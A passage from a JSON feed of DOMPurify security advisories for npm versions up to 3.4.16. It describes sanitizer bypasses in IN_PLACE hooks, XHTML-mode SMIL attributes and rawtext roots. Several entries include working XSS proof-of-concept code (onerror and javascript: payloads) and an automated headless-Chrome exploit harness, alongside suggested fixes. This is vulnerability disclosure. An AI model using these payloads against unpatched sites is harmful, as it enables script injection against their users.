walking a shadow root, run `_scrubTemplateExpressions` over that shadow root so adjacent text nodes created by element removal are merged and re-stripped; alternatively, have `_scrubTemplateExpressions` discover and recurse into attached shadow roots as it does for template content. The fix must cover nested shadow roots and shadow roots inside `\u003ctemplate\u003e.content`, and it must handle all three expression dialects, since any disallowed element can serve as the separator that produces adjacent fragments.\n\n---\n\nReported by zx (GitHub: @manus-pi).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-22T16:25:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cg2g-xh64-v4q7","https://github.com/cure53/DOMPurify/pull/1672","https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575","https://github.com/cure53/DOMPurify/releases/tag/3.4.17","https://github.com/advisories/GHSA-cg2g-xh64-v4q7"],"source_kind":"github","identifiers":["GHSA-cg2g-xh64-v4q7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.429Z","updated_at":"2026-10-24T21:00:12.810Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZzJnLXhoNjQtdjRxN84AB_Gf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZzJnLXhoNjQtdjRxN84AB_Gf","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.17","vulnerable_version_range":"\u003e= 3.4.4, \u003c= 3.4.16"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZzJnLXhoNjQtdjRxN84AB_Gf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcnYyLTNwcXItajVqcs4AB_Ge","url":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr","title":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","description":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `\u003cimg onerror\u003e` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `\u003cimg onload\u003e` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n  return false;\n}\nif (IN_PLACE) {\n  _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('\u003c!doctype html\u003e\u003cbody\u003e\u003c/body\u003e').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n  const DOMPurify = createDOMPurify(win)\n  doc.body.innerHTML = '\u003cdiv id=root\u003e\u003cfigure\u003e\u003cimg class=bad src=a.png\u003e' +\n    '\u003cimg id=evil src=x onerror=alert(1)\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e'\n  const root = doc.getElementById('root')\n  const evil = doc.getElementById('evil')\n\n  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n  DOMPurify.addHook('afterSanitizeAttributes', (node) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute('class') === 'bad') {\n      if (mode === 'self') node.remove()\n      if (mode === 'parent') node.parentNode.remove()\n      if (mode === 'nextSibling') node.nextElementSibling.remove()\n    }\n  })\n\n  DOMPurify.sanitize(root, { IN_PLACE: true })\n  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self        onerror = null\n3.4.16 parent      onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\u003c!doctype html\u003e\u003cmeta charset=utf-8\u003e\n\u003cscript src=\"purify.min.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\u003cpre id=log\u003e\u003c/pre\u003e\n\u003cscript\u003e\nwindow.fired = [];\nfunction run(mode) {\n  const D = DOMPurify(window);\n  D.addHook('afterSanitizeAttributes', n =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('class') === 'bad') {\n      if (mode === 'parent') n.parentNode.remove();\n      if (mode === 'self') n.remove();\n    }\n  });\n  const root = document.createElement('div');\n  document.body.appendChild(root);\n  root.innerHTML = '\u003cfigure\u003e\u003cimg class=bad src=data:,\u003e\u003cimg src=x onerror=\"fired.push(\\'' + mode + '\\')\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e';\n  D.sanitize(root, { IN_PLACE: true });\n  return root.outerHTML;\n}\nconst a = run('self'), b = run('parent');\nsetTimeout(() =\u003e {\n  document.getElementById('log').textContent =\n    'version=' + DOMPurify.version + '\\nself out=' + a + '\\nparent out=' + b + '\\nfired=' + JSON.stringify(fired);\n}, 1500);\n\u003c/script\u003e\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=\u003cdiv\u003e\u003cfigure\u003e\u003cimg src=\"x\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nparent out=\u003cdiv\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `\u003cfigure\u003e` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T16:24:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.6,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr","https://github.com/cure53/DOMPurify/pull/1672","https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575","https://github.com/cure53/DOMPurify/releases/tag/3.4.17","https://github.com/advisories/GHSA-mrv2-3pqr-j5jr"],"source_kind":"github","identifiers":["GHSA-mrv2-3pqr-j5jr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.429Z","updated_at":"2026-10-24T21:00:12.811Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnYyLTNwcXItajVqcs4AB_Ge","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcnYyLTNwcXItajVqcs4AB_Ge","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.17","vulnerable_version_range":"\u003c= 3.4.16"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnYyLTNwcXItajVqcs4AB_Ge/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNmdyLXF2djQtNXYzZs4AB_Gd","url":"https://github.com/advisories/GHSA-c6gr-qvv4-5v3f","title":"DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml","description":"### Summary\n\nDOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `\u003canimate\u003e` or `\u003cset\u003e` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\"\u003e`. Clicking the parent link then runs the script.\n\nThis needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.\n\n### Details\n\nIn `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):\n\n```js\nconst lcName = transformCaseFunc(name);\n...\nif (lcName === \"attributename\" \u0026\u0026 stringMatch(value, \"href\")) {\n  _removeAttribute(name, currentNode, attr);\n  continue;\n}\n```\n\n`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.\n\nPeople using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.\n\nThe value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill=\"freeze\"`, the last entry ends up as the effective href of the parent `\u003ca\u003e`.\n\nIn text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.\n\nThis is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes \u0026 Bypass History §22): a check written for lowercase names that a case-preserved name gets past.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.\n\nConfig:\n\n```js\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\n```\n\n`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.\n\nInput:\n\n```html\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\nSteps:\n\n1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.\n\n```html\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\nconst dirty = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e';\nconst clean = DOMPurify.sanitize(dirty, cfg);\nconsole.log(clean);\ndocument.getElementById('sink').innerHTML = clean;\n//]]\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n2. The logged output still contains `attributeName=\"href\"` and `values=\"x;javascript:alert(1)\"`.\n3. `document.getElementById('q').href.animVal` returns `\"javascript:alert(1)\"`.\n4. Click \"click\" and `alert(1)` runs.\n\nAs a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `\"\"`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.\n\nAn automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.\n\n\u003cdetails\u003e\n\u003csummary\u003epoc.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\n# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.\n#\n# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:\"application/xhtml+xml\"\n# config that allow-lists \u003canimate\u003e + attributeName, renders the output into\n# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse\n# event and reports whether alert() fired. Also runs the same allowlist in\n# text/html mode as a control (DOMPurify strips attributeName there).\n#\n# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)\n#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh\n#         CHROME=/path/to/chrome ./poc.sh\n# needs:  node \u003e= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.\n# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error\nset -euo pipefail\nVER=\"${1:-3.4.16}\"\nWORK=\"$(mktemp -d)\"\ntrap 'rm -rf \"$WORK\"' EXIT\n\nif [ -z \"${DOMPURIFY_JS:-}\" ]; then\n  (cd \"$WORK\" \u0026\u0026 npm pack \"dompurify@$VER\" --silent \u003e/dev/null 2\u003e\u00261 \u0026\u0026 tar xzf dompurify-*.tgz) || { echo \"npm pack dompurify@$VER failed\" \u003e\u00262; exit 2; }\n  DOMPURIFY_JS=\"$WORK/package/dist/purify.js\"\nfi\nif [ -z \"${CHROME:-}\" ]; then\n  for c in \"$HOME\"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \\\n           \"$HOME\"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \\\n           \"$(command -v google-chrome || true)\" \"$(command -v chromium || true)\" \"$(command -v chromium-browser || true)\"; do\n    [ -n \"$c\" ] \u0026\u0026 [ -x \"$c\" ] \u0026\u0026 CHROME=\"$c\" \u0026\u0026 break\n  done\nfi\n[ -n \"${CHROME:-}\" ] || { echo \"no Chrome/Chromium found; set CHROME=\" \u003e\u00262; exit 2; }\n\ncat \u003e \"$WORK/poc.html\" \u003c\u003c'EOF'\n\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\n\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst payload = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e' +\n  '\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e' +\n  '\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e';\nfunction run(mode) {\n  const cfg = {\n    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n  };\n  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';\n  const clean = DOMPurify.sanitize(payload, cfg);\n  document.getElementById('sink').innerHTML = clean;\n  return clean;\n}\n//]]\u003e\u003c/script\u003e\nEOF\ncp \"$DOMPURIFY_JS\" \"$WORK/purify.js\"\n# Same test inside a real XHTML document (no HTML\u003c-\u003eXHTML context flip):\n# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.\nsed -e 's#\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e#\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e#' \\\n    -e 's#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e#' \\\n    -e 's#^\u003c/script\u003e$#\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e#' \"$WORK/poc.html\" \u003e \"$WORK/poc.xhtml\"\n\ncat \u003e \"$WORK/drive.js\" \u003c\u003c'EOF'\n// zero-dependency CDP driver over --remote-debugging-pipe\nconst { spawn } = require('child_process');\nconst [chrome, url, dir] = process.argv.slice(2);\nconst xurl = url.replace(/\\.html$/, '.xhtml');\nconst p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',\n  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });\nlet id = 0, buf = ''; const pend = new Map(), dialogs = [];\np.stdio[4].on('data', (d) =\u003e {\n  buf += d; let i;\n  while ((i = buf.indexOf('\\0')) \u003e= 0) {\n    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);\n    if (m.id \u0026\u0026 pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }\n    else if (m.method === 'Page.javascriptDialogOpening') {\n      dialogs.push(m.params.message);\n      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);\n    }\n  }\n});\nfunction send(method, params = {}, sessionId) {\n  return new Promise((r) =\u003e { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\\0'); });\n}\nconst sleep = (ms) =\u003e new Promise((r) =\u003e setTimeout(r, ms));\n(async () =\u003e {\n  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });\n  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });\n  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);\n  const ev = async (e) =\u003e (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;\n  let vulnerable = false, xhtmlDoc = false;\n  const ver = async () =\u003e ev('DOMPurify.version');\n  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {\n    await send('Page.navigate', { url: page }, s); await sleep(500);\n    const docType = await ev('document.contentType');\n    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\\\/[\\\\d.]+/)[0]'));\n    dialogs.length = 0;\n    const clean = await ev(`run(${JSON.stringify(mode)})`);\n    await sleep(400); // let the 0.01s animation apply (fill=freeze)\n    const href = await ev(`(()=\u003e{const a=document.getElementById('q');return a?a.href.animVal:null})()`);\n    const box = await ev(`(()=\u003e{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);\n    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])\n      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);\n    await sleep(800);\n    console.log(`\\n[${mode} mode, sink document ${docType}] sanitized output:\\n  ${clean}`);\n    console.log(`  animated \u003ca\u003e href (animVal): ${JSON.stringify(href)}`);\n    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);\n    if (mode === 'xhtml' \u0026\u0026 dialogs.length) vulnerable = true;\n    if (mode === 'xhtml' \u0026\u0026 docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length \u003e 0;\n  }\n  console.log(vulnerable ? `\\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\\nRESULT: not vulnerable');\n  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);\n})().catch((e) =\u003e { console.error(e); p.kill('SIGKILL'); process.exit(2); });\nEOF\nnode \"$WORK/drive.js\" \"$CHROME\" \"file://$WORK/poc.html\" \"$WORK\"\n```\n\n\u003c/details\u003e\n\n### Impact\n\nStored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-22T16:24:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f","https://github.com/cure53/DOMPurify/pull/1672","https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575","https://github.com/cure53/DOMPurify/releases/tag/3.4.17","https://github.com/advisories/GHSA-c6gr-qvv4-5v3f"],"source_kind":"github","identifiers":["GHSA-c6gr-qvv4-5v3f"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.429Z","updated_at":"2026-10-24T21:00:12.812Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmdyLXF2djQtNXYzZs4AB_Gd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNmdyLXF2djQtNXYzZs4AB_Gd","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.17","vulnerable_version_range":"\u003c= 3.4.16"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmdyLXF2djQtNXYzZs4AB_Gd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Njg4LTlyaG0tZ2p2Ms4AB7qx","url":"https://github.com/advisories/GHSA-6688-9rhm-gjv2","title":"DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes","description":"## Environment\n\n- dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)\n- Config: `DOMPurify.sanitize(node, { IN_PLACE: true })` on a Node input; `SAFE_FOR_XML` at its default (`true`)\n\n## Summary\n\nThe 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed `TypeError` in `_forceRemove` when a node selected for removal cannot be detached, and a `_neutralizeSubtree` pass (`dist/purify.js` line 1336) that strips non-allowlisted **attributes** from removed subtrees.\n\nBoth miss the rawtext **text-content** form. When the force-removed root is a rawtext element (`\u003cstyle\u003e`), the payload lives in the node's *text*: the node detaches fine (the `TypeError` guard is not reached), `_neutralizeSubtree` strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized `\u003cstyle\u003e` whose text still carries live markup. Serializing that node and re-parsing it in **plain HTML context** materializes the payload — no foreign-content context required.\n\nThe same Node input sanitized **without** `IN_PLACE` returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.\n\n## Steps to reproduce\n\n```js\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');   // 3.4.15\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\nconst styleRoot = window.document.createElement('style');\nstyleRoot.setAttribute('onclick', 'alert(1)');    // attribute payload\nstyleRoot.textContent = '\u003c/style\u003e\u003cimg src=x onerror=1\u003e';  // text payload\nwindow.document.body.appendChild(styleRoot);\n\nconst returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });\n\nconsole.log(returned === styleRoot);                       // true (same node)\nconsole.log(styleRoot.parentNode === null);                // true (detached)\nconsole.log(styleRoot.outerHTML);\n// \u003cstyle\u003e\u003c/style\u003e\u003cimg src=x onerror=1\u003e\u003c/style\u003e\nconsole.log(styleRoot.getAttribute('onclick'));            // null  (attribute neutralized)\nconsole.log(styleRoot.textContent);                        // '\u003c/style\u003e\u003cimg src=x onerror=1\u003e' (text survives)\n\n// plain HTML reparse (no foreign-content context involved):\nconst probe = window.document.createElement('div');\nprobe.innerHTML = returned.outerHTML || styleRoot.outerHTML;\nconsole.log(probe.querySelectorAll('img').length);         // 1\nconsole.log(probe.querySelector('img').getAttribute('onerror')); // \"1\"\n```\n\nObserved on 3.4.15: one node, one call — the `onclick` **attribute** is neutralized while the **text** payload (`\u003c/style\u003e\u003cimg src=x onerror=1\u003e`) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the `img` with the live `onerror` handler.\n\nContrast on the same Node input without `IN_PLACE`: `RETURN_DOM: true` → `\u003cbody\u003e\u003c/body\u003e`; `RETURN_DOM_FRAGMENT: true` → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.\n\nContrast on the removal trigger: `SAFE_FOR_XML: false` → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens *specifically because* the serialized node would re-open tags on reparse.\n\n## Root cause\n\n`_isUnsafeNode` (`dist/purify.js` 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is \"text-only content that already carries the element's OWN end tag\", detected by the `LITERAL_TEXT_CLOSE` probe (line 385) alongside the `ELEMENT_MARKUP_PROBE` (line 339) rules. `_forceRemove` (line 1122) records the node in `DOMPurify.removed` (`{element}`) and detaches it. The removal is intentional: the upstream comment states these shapes are removed **because the literal serializer emits them verbatim for the HTML parser to re-open**.\n\nThe IN_PLACE exit then hands the force-removed root back to the caller — the very node whose removal `DOMPurify.removed` just recorded (verified: `DOMPurify.removed.some(e =\u003e e.element === root)` is `true` on the returned instance). The 3.4.9 `_neutralizeSubtree` pass (line 1336) addresses only the attribute form — its own docstring: \"walks a removed subtree and strips every attribute\" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed *specifically to prevent reparse* is undone by returning the node: you removed it to stop the reparse, then returned it.\n\nDifferential (one node, one call, same removal path): the `onclick` attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap.\n\n## Impact\n\nIdentical blast radius to the published IN_PLACE family: an application that sanitizes a Node in `IN_PLACE` mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via `appendChild` alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload.\n\n## Affected versions\n\n- Verified live: 3.4.15 (current).\n- Source-verified: the attribute-only `_neutralizeSubtree` and the IN_PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested).\n- Per cure53 advisory convention the affected range is reported as `\u003c= 3.4.15` (current at time of writing).\n\n## Suggested remediation\n\n**Primary (root-cause, covers every form):** at the IN_PLACE exit, check whether the returned root was recorded during sanitization — `DOMPurify.removed.some(e =\u003e e.element === root)` — and fail closed: throw the same `TypeError` style used by the 3.4.9 detach guard (\"a node selected for removal could not be safely returned; refusing to sanitize in place\"), or return `null`. This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check.\n\n**Secondary (form-specific):** extend `_neutralizeSubtree` to neutralize **text content of rawtext descendants** — the elements in `LITERAL_TEXT_ELEMENT_NAMES` (`style`, `script`, `xmp`, `iframe`, `noembed`, `noframes`, `plaintext`, `noscript`) — by rewriting `textContent` to a defanged form, matching the probe coverage of `_isUnsafeNode`/`LITERAL_TEXT_CLOSE`.\n\nA regression test asserting that a force-removed rawtext root comes back with no `/\u003c[/\\w!]/` match in `textContent` (and is not returned at all under the primary fix) prevents re-introduction.\n\n## Prior art / differentiation\n\n- GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form **root** removal — different trigger; this report's root is a normal allowlisted `style` element killed by the text 